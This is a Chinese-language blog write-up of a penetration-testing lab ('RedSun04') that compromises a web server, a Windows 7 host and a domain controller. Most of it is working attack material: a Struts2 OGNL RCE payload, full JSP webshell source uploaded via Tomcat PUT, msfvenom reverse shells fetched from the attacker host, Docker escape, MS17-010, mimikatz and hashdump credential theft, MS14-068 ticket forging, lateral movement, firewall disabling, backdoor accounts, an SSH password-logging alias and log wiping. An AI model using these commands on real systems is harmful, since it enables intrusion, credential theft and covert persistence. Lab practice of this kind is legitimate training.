RedSun04

简介

开始时间 2024-2-19 15:23

完成时间 2024-2-21 17:25

环境搭建

下载

靶场下载地址:http://39.98.79.56/vuln/detail/6/

共有三台主机DC、WEB、WIN7

密码

主机密码

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008

网络

创建两个虚拟网卡

image-20240219154516050

image-20240219155320775保证内网

发现保证一个183 网卡就行了,还有一个是nat 网卡替代,模拟出网

web

image-20240219154705801win7

image-20240219155100625

开启环境

1
sudo docker start ec 17 09 bb da 3d ab ad

image-20240219155415865

winserver 2008

由于登陆需要修改密码,就暂时不登录了

win7

image-20240219155540393

信息收集

  1. ip 查找

    使用nmap 做存活探测

    1
    nmap -sP 192.168.79.1/24

    image-20240219160104534

    发现目标

  2. 端口扫描

    image-20240219160547746

  3. 每一个端口访问

    2001

    image-20240219160625449

    2002

    image-20240219160631972

    2003

    image-20240219160638589

web 渗透

  1. 针对2001

    没发现个什么东西
    尝试抓包看看

    image-20240219160851080

    image-20240219161152401

    发现是s2 搭建的网站,尝试利用

    尝试工具利用

    image-20240219161444850

    发现存在漏洞

    上传webshell

    image-20240219162922139

    工具利用失败?

    尝试手动利用,该漏洞可以反弹shell

    等反弹shell 之后上传msf-payload

    Struts2 - AU9U5T (tsy244.github.io)

    1
    Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    image-20240219163323136

    开启监听

    image-20240219163701376

    反弹shell

    先将反弹shell 执行换一种形式,因为java 对一些字符有特殊意义

    image-20240219163558551

    放入bp

    image-20240219163759169

    没有发现命令

    那就换一个形式

    image-20240219163923255

    image-20240219163950680

    image-20240219163911105

    成功反弹

    生成payload

    1
    msfvenom -p linux/x64/meterpreter/reverse_tcp -h 192.168.79.138 -p 20000 -f elf -o l_x64_revers_20000

    开启http服务

    1
    python -m http.server

    访问下载

    1
    curl  http://192.168.79.138:8000/l_x64_revers_20000 -O /tmp/test

    攻击机开启handler

    1
    handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.79.138 -P 20000

    受害者

    image-20240219170413240

    image-20240219170420744

    成功反弹

  2. 使用agent 搭建代理

    image-20240219170803792

    上传agent

    image-20240219170948862

    1
    ./agent -c 192.168.79.138:20090 -s hack & 

    image-20240219171121706

    image-20240219171323455

    image-20240219171403189

    image-20240219171429285

  3. 针对2002

    直接使用xray 扫描

    image-20240220140917323

    尝试利用

    这个由于没有禁用put 和get 可以任意上传

    image-20240220141315331

    尝试上传webshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    PUT /1.jsp/ HTTP/1.1
    Host: your-ip:2002
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5

    <%-- 使用时请删除此行, 连接密码: cmd --%>
    <%! class CHILD extends ClassLoader{ CHILD(ClassLoader c){super(c);} public Class compilation(byte[] b){ return
    super.defineClass(b, 0, b.length); } } public byte[] printed(String str) throws Exception { Class base64; byte[]
    value=null; try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder=base64.newInstance();
    value=(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[]
    { str }); } catch (Exception e) { try { base64=Class.forName("java.util.Base64"); Object
    decoder=base64.getMethod("getDecoder", null).invoke(base64, null);
    value=(byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] {
    str }); } catch (Exception ee) {} } return value; } %>
    <% String cls=request.getParameter("cmd"); if (cls !=null) { new
    CHILD(this.getClass().getClassLoader()).compilation(printed(cls)).newInstance().equals(new
    Object[]{request,response}); } %>

    image-20240220141649386

    使用蚁剑连接

    image-20240220141838686

    image-20240220142002980

  4. 针对2003

    使用xray 扫描一下

    image-20240220142402812

    1
    index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

    image-20240220142415888

    发现ssrf,这个就可以访问任意文件,尝试使用这个日志反弹shell

    创建一个临时表

    image-20240220145946228

    查看是否开启慢日志记录功能

    1
    show variables like '%slow%';

    image-20240220150104814

    image-20240220150657811

    发现这个方式不太行

    image-20240220150812337

    通过版本搜索漏洞

    发现CVE-2018-12613

    phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1漏洞-CSDN博客

    尝试利用

    插入phpnifo

    1
    INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

    查看phpinfo

    1
    select ‘<?php phpinfo() ?>’

    查看cookie 值

    image-20240220152825162

    访问

    1
    2
    ?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_d57001799c2f03f16958890eb7fff4b1

    未能成功实现

    image-20240220154257905

    按道理这一步会执行这个代码

内网信息收集

  1. ip 收集

    image-20240219173620934

    发现ifconfig 不行

    1
    ip addr

    image-20240219173908310

    发现没192.168.79.161 的ip

    正常的

    image-20240219174931042

    可能是docker

    1
    cat /proc/1/cgroup

    image-20240219175133036

    image-20240219175251544

    发现这个是docker

    尝试docker 逃逸

    docker逃逸 - AU9U5T (tsy244.github.io)

    尝试使用s2 的shell 逃逸

    image-20240220182130456

    发现使用特权逃逸的方式失败

    尝试使用tomcat 逃逸

    image-20240220181950321

    发现成功

    kali 开启监听,用于接受定时任务反弹的shell

    image-20240220185019318

    反弹成功

    下载payload 然后执行

    image-20240220191452955

    反弹成功
    开启代理

    终于开始信息收集了

    查看ip 地址

    image-20240220194825593

  2. 存活探测

    发现还有一个 192.168.183.128 的地址 使用fscan

    image-20240220213928235

    代理确保开启成功但是扫不出东西,有点怪

    尝试使用nmap

    1
    proxychains  nmap -sP -Pn 192.168.183.1/24

    结果有点怪

    发现kali 使用admin 的时候没有没有使用root,所以出现这个情况

    尝试使用root 权限

    image-20240220222820111

    一下就过了,还有就是nmap 的不建议使用全端口扫描容易出问题

    发现

    192.168.183.130

    192.168.183.131

    都是存在的

  3. 端口扫描

    192.168.183.130

    image-20240220230524037

    192.168.183.131

横向移动

  1. 尝试利用fscan 发现ms17_010

    image-20240220230610483

    192.168.183.131

    image-20240220230358605

    image-20240220231524587

    发现存在但是打不下来

    打了好几次

    image-20240221093506313

    好几次之后,发现成功

  2. 迁移到一个域用户的进程

    image-20240221141115003

  3. 关闭防火墙

    1
    NetSh Advfirewall set allprofiles state off

    image-20240221154905398

  4. 创建用户

    1
    net user admin$ hackHACK123 /add && net localgroup administrators admin$ /add

    image-20240221110842373

    账户密码不行

    image-20240221110927040

    成功

  5. 将win7 传给cs

    image-20240221094832427

    直接就是system 权限都不需要提权

    传动失败

  6. 抓密码

    image-20240221095717036

    image-20240221141510896

    1
    2
    3
    4
    5
    NTML   bc23b0b4d5bf5ff42bc61fb62e13886e
    douser Dotest123

    douser DEMO bc23b0b4d5bf5ff42bc61fb62e13886e c48096437367aad00ac2dc70552051cd84912a55

    猜测这个是域用户

  7. IPC$ 横向移动

    1
    net use \\192.168.183.130\c$ /user:douser "Dotest123"

    发现失败

    这个用户权限应该不高

  8. wmic 横向移动

    1
    wmic /node:192.168.183.130 /user:douser /password:Dotest123 process list brief

    失败,还是用户的问题

  9. 尝试PTH

    1
    hashdump
    1
    2
    3
    4
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    testclone:1001:aad3b435b51404eeaad3b435b51404ee:8d8e04036d33ed20f5c2f6ad77e28bb7:::

    image-20240221102305247

    失败

    尝试使用mimikatz

    1
    mimikatz.exe "privilege::debug" "sekurlsa::pth /user:douser /domain:192.168.183.130 /ntlm:bc23b0b4d5bf5ff42bc61fb62e13886e" exit
  10. 尝试开启3389

1
2
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20240221111417407=

image-20240221131928500

看到了mimikakz 应该是防止我们二次上传

mimikakz 感觉获取的信息会比msf 里面的多一些,个人觉得

1
2
privilege::debug
sekurlsa::logonpassword

image-20240221143614860

忘记设置log了,这个不太好复制

1
log ret.txt

image-20240221143916232

1
SID:  S-1-5-21-979886063-1111900045-1414766810-1107

尝试使用sid + mimikatz 制作

现在可以尝试使用MS14-068 制作凭证

image-20240221151759600

1
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

image-20240221153843345

清楚票据

image-20240221154112172

将票据注入内存

1
kerberos::ptc "TGT_douser@DEMO.COM.ccache"

image-20240221154323860

net use 传递文件

image-20240221155552743

制作一个payload

image-20240221160333290

重新开启远程桌面

1
proxychains rdesktop 192.168.183.133 -r disk:wj=/home/kali 

image-20240221160533542

将这个传给域控

1
copy w_bind_10669.exe \\WIN-ENS2VR5TR3N\c$

image-20240221161502528

wmic 横向移动

1
wmic /node:192.168.183.130 /user:douser /password:Dotest123 process call create "cmd /c c:\\w_bind_10669.exe"

image-20240221162432930

这个方式失败了

尝试定时任务

1
2
schtasks /create /S WIN-ENS2VR5TR3N /TN "test" /TR c:/w_bind_10669.exe /SC MINUTE /ST 14:29 /ru system /f
schtasks /run /tn test /s WIN-ENS2VR5TR3N

先尝试关闭防火墙,不然一直反弹不行

1
2
echo NetSh Advfirewall set allprofiles state off >> 1.bat
copy 1.bat \\WIN-ENS2VR5TR3N\c$

image-20240221165050569

开启一个定时任务关闭防火墙

1
2
schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f
schtasks /run /tn task1 /s WIN-ENS2VR5TR3N

image-20240221165301837

成功反弹

image-20240221165559108

直接就是system

权限维持

  1. 针对 ubuntu

    • 使用ssh 软连接方式

      1
      ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=123456
    • 生成公钥

    • 起别名

      1
      alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
    • 创建后门账号

      1
      2
      perl -e 'print crypt("hack","adgfagm")."\n"'
      echo "weblogic1:adCP9\\qaScc2:0:0:root:/root:/bin/bash" >> /etc/passwd

      image-20240221171054574

  2. win7

    1
    2
    3
    4
    5
    6
    7
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\system32\calc.exe" /f

    # 可以更改C:\Windows\system32\calc.exe为payload,如powershell命令
  3. 域控,处内内网,但是已经写了定时任务

痕迹清楚

  1. ubuntu

    1
    history –w && history –c && > .bash_history
  2. win7

    直接使用msf

    1
    run event_manager -c

    image-20240221172419610

总结

web 渗透阶段

  1. 通过发现的三个端口进行渗透

    很巧的是,每一个端口都有漏洞,

    • 2001

      这个是一个很典型的s2 漏洞,通过对网站抓包发现了是s2 框架开发的

      通过反弹shell ,反弹到攻击机

      注意编码的时候,可能得换一下

    • 2002

      这个是tomcat 的是可以使用put 的形式http 方式上传webshell 然后连接webshell 管理器

    • 2003

      这个phpmyadmin 都没有密码,所以就直接访问到了后台,本来想通过写慢日志的方式反弹shell 但是没有对应的权限
      但是有一个ssrf 可以访问主机上的文件

      我们可以通过mysql 写一句话木马到文件,通过session 访问到具体的文件,从而加载webshell 但是没有成功

  2. 得到webshell

    发现是docker ,通过挂载宿主机的目录,然后写定时任务进行反弹shell

    从而得到了宿主机的shell

    这个时候我选择上传msf payload

内网信息收集

  1. 通过内网网段的扫描发现了win7 winserver

    并且通过fscan 扫描到了ms17_010

    但是利用msf 攻击一直失败

    需要很多次才能成功

  2. 其他端口我就没有测试了

横向移动

  1. win7

    使用msf ms17_010模块

    尝试很多次

  2. winserver

    也就是域控主机,这个我们需要制作黄金票据

    通过ms14,然后通过这个使用IPC 的方式进行文件传输

    再使用schtasks 的方式反弹metepreter 但是注意需要添加代理,并且payload 必须是bind


RedSun04
https://tsy244.github.io/2024/02/19/靶场记录/RedSun04/
Author
August Rosenberg
Posted on
February 19, 2024
Licensed under